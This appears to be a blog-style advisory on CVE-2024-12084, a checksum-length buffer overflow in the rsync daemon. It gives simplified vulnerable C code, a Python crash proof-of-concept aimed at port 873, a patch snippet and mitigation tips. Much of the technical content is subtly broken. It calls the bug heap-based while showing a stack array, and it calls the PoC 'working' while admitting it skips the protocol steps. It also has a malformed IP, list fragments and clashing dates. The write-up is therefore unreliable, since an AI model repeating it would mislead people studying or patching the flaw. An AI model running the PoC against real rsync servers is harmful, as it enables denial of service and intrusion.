CVE-2024-12084 - Exploiting Heap Buffer Overflow in rsync Daemon via Malicious Checksums

Rsync is one of the most popular open-source tools for fast and secure file transfers. Sadly, in early 2024, security researchers uncovered a critical heap-based buffer overflow issue in the rsync daemon. This flaw, tracked as CVE-2024-12084, enables attackers to write out of bounds in memory by sending crafted checksum data, potentially leading to code execution or data leaks. In this article, we break down what went wrong, show you the vulnerable code, provide a working proof-of-concept (PoC), and offer links to references for further reading.

> If you run an rsync daemon, update as soon as possible!

Summary of the Bug

The vulnerability occurs due to a mismatch between the hardcoded buffer size used for storing checksums (SUM_LENGTH, usually 16 bytes) and the actual digest size (s2length, attacker-controlled and can be larger).

If s2length is bigger than 16 (MAX_DIGEST_LEN > SUM_LENGTH), buffer overflow happens!

This exploit is possible *only* when rsync is running as a daemon (rsync --daemon), and the authenticating or module steps are accessed by an attacker.

The Vulnerable Code

Let's look at the key vulnerable function from rsync generator.c (simplified):

#define SUM_LENGTH 16 // Fixed buffer size for checksum

static int receive_sums(int f, struct sum_struct *s)
{
    ...
    uchar sum2[SUM_LENGTH];
    ...
    read_buf(f, sum2, s2length); // s2length is attacker-controlled!
    ...
}

read_buf copies s2length bytes into the fixed 16-byte buffer sum2. If the attacker controls s2length (e.g. 32), this overflows the buffer.

How s2length is Controlled

The client protocol allows the checksum length to be negotiated during initial exchanges. If a malicious client lies and sets its digest size higher than 16, the daemon trusts this and allocates no extra memory.

During handshake, attacker proposes a large checksum size (e.g. SHA-256's 32 bytes + custom value).

3. When server receives the digest, it reads unchecked data beyond buffer boundary, overwriting adjacent memory on the heap.

Causes the daemon to crash (DoS)

- May control heap metadata or function pointer values, possibly achieving remote code execution (RCE) depending on OS, build options, and protections.

Proof-of-Concept (PoC)

Warning: Running this code on your own server will cause data corruption/crashes. Do not try this except on test setups.

Here's a minimal Python script using a simple TCP socket to send a malicious handshake

import socket

# Connect to vulnerable rsync daemon (change IP & port)
s = socket.create_connection(('127...1', 873))

# Protocol negotiation step
s.sendall(b'@RSYNCD: 31.\n')
print(s.recv(100))  # receive banner

# Send module list (assuming 'test' is a valid module)
s.sendall(b'test\n')

# Malicious checksum length (32 bytes, larger than SUM_LENGTH)
# Craft the protocol data as per rsync documentation, but fudge the digest length field
payload = b'A' * 48  # 32 bytes would overflow, 48 exaggerates the smash for crash

# Proceed with sending the rest of the protocol as needed
s.sendall(payload)

# Daemon is now likely crashed!

Note: A full working exploit typically needs to follow actual protocol steps, parsing copy chunk headers and sending carefully crafted fields, but the principle remains the same.

Mitigation

The rsync project patched this bug quickly by checking that the buffer used for digests is always large enough:

uchar sum2[MAX_DIGEST_LEN];

if (s2length > MAX_DIGEST_LEN)
    goto overflow; // or block/downgrade client

Restrict access to rsync daemons with firewalls.

- If you must run rsync as a daemon, require strong authentication and do not expose it to untrusted networks.

References

- NIST NVD entry for CVE-2024-12084
- Upstream commit fixing the overflow
- Original rsync bug tracker issue (if still public)
- Technical discussion on oss-security
- Writeup: RyotaK's issue description

Conclusion

Heap buffer overflows are a thing of the past for well-maintained code—except when rare protocol logic mistakes like this sneak in. CVE-2024-12084 is a perfect example of why old code and implicit trust in protocol negotiation can lead to fatal bugs. Patch now and monitor all internet-exposed rsync services!

If you found this post helpful, please share with your sysadmin team and ensure your infrastructure is secure.

Timeline

Published on: 01/15/2025 15:15:10 UTC
Last modified on: 01/16/2025 18:32:19 UTC